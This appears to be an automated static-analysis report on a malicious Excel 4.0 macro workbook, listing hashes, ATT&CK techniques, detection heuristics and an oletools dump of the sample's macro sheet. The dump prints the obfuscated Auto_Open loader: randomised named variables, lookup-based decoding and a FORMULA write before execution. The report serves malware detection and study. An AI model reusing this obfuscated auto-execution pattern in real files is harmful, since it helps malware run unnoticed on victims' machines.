Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8633a2f521a5e704…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:46 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5799fbc910f4e5eec81697f311127586 SHA-1: 0897f9b5042790db9d0c69960d9792e661e32c36 SHA-256: 8633a2f521a5e7041802d18109d8d1c17b6aff5f582a495680f77ef36da0774d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a common technique for executing malicious code upon opening. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands. While no specific URLs or hashes were extracted, the Auto_Open macro itself is a critical indicator of malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6510 bytes
SHA-256: 5ed7f20a656357b2ddb437e6fd86b5804a4295d893666439503686e9952e9ea7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XsibyuR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B160 
' 0018     22 LABEL : Cell Value, String Constant - BnUBGPv len=0 
' 0018     23 LABEL : Cell Value, String Constant - bvIzKgpE len=0 
' 0018     22 LABEL : Cell Value, String Constant - EGIyNth len=0 
' 0018     26 LABEL : Cell Value, String Constant - FdNVzhbHInh len=0 
' 0018     20 LABEL : Cell Value, String Constant - HXpRg len=0 
' 0018     21 LABEL : Cell Value, String Constant - IxDMLZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - JcuWKZjcyv len=0 
' 0018     27 LABEL : Cell Value, String Constant - JFCSmQxETmbS len=0 
' 0018     27 LABEL : Cell Value, String Constant - MsuXxbjwrskg len=0 
' 0018     22 LABEL : Cell Value, String Constant - NHCQioE len=0 
' 0018     21 LABEL : Cell Value, String Constant - rkXvxO len=0 
' 0018     26 LABEL : Cell Value, String Constant - SasiWytSwmk len=0 
' 0018     25 LABEL : Cell Value, String Constant - SfgvHuGGda len=0 
' 0018     27 LABEL : Cell Value, String Constant - SqNdFdUkseRO len=0 
' 0018     25 LABEL : Cell Value, String Constant - stCoyICQyE len=0 
' 0018     24 LABEL : Cell Value, String Constant - UlvPxaEBE len=0 
' 0018     22 LABEL : Cell Value, String Constant - WdNjuPn len=0 
' 0018     25 LABEL : Cell Value, String Constant - WTvNXbODNb len=0 
' 0018     22 LABEL : Cell Value, String Constant - wZXsRhf len=0 
' 0018     20 LABEL : Cell Value, String Constant - xvElc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XsibyuR,B72,"SET.NAME("wZXsRhf",VALUE("0"))",""
'  XsibyuR,B77,"SET.NAME("JFCSmQxETmbS",wZXsRhf)",""
'  XsibyuR,B79,"SET.NAME("HXpRg",wZXsRhf)",""
'  XsibyuR,B81,"SET.NAME("bvIzKgpE",COUNTA(JcuWKZjcyv))",""
'  XsibyuR,B85,"SET.NAME("FdNVzhbHInh",COUNTA(NHCQioE))",""
'  XsibyuR,B90,[],""
'  XsibyuR,B93,"SET.NAME("WdNjuPn","")",""
'  XsibyuR,B95,"JFCSmQxETmbS",""
'  XsibyuR,B97,"SET.NAME("SqNdFdUkseRO",HLOOKUP("*",JcuWKZjcyv,JFCSmQxETmbS,FALSE))",""
'  XsibyuR,B102,"xvElc",""
'  XsibyuR,B104,"SET.NAME("stCoyICQyE",wZXsRhf)",""
'  XsibyuR,B108,[],""
'  XsibyuR,B113,"stCoyICQyE",""
'  XsibyuR,B116,"MsuXxbjwrskg",""
'  XsibyuR,B118,"rkXvxO",""
'  XsibyuR,B122,"BnUBGPv",""
'  XsibyuR,B124,"SET.NAME("WTvNXbODNb",VALUE(HLOOKUP("*",NHCQioE,BnUBGPv,FALSE)))",""
'  XsibyuR,B129,"EGIyNth",""
'  XsibyuR,B134,"WdNjuPn",""
'  XsibyuR,B136,"HXpRg",""
'  XsibyuR,B141,NEXT(),""
'  XsibyuR,B143,"IxDMLZ",""
'  XsibyuR,B147,"SET.NAME("f",INT(T(FORMULA(T(WdNjuPn)&"",""&T(IxDMLZ)))))",""
'  XsibyuR,B152,"SfgvHuGGda",""
'  XsibyuR,B154,NEXT(),""
'  XsibyuR,B157,RETURN(),""
'  XsibyuR,B180,"SET.NAME("SasiWytSwmk",B72)",""
'  XsibyuR,B184,"JcuWKZjcyv",""
'  XsibyuR,B188,"SET.NAME("NHCQioE",R96C15)",""
'  XsibyuR,B190,"SET.NAME("SfgvHuGGda",197)",""
'  XsibyuR,B193,"SET.NAME("UlvPxaEBE",2)",""
'  XsibyuR,B196,SasiWytSwmk(),""
'  XsibyuR,B197,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.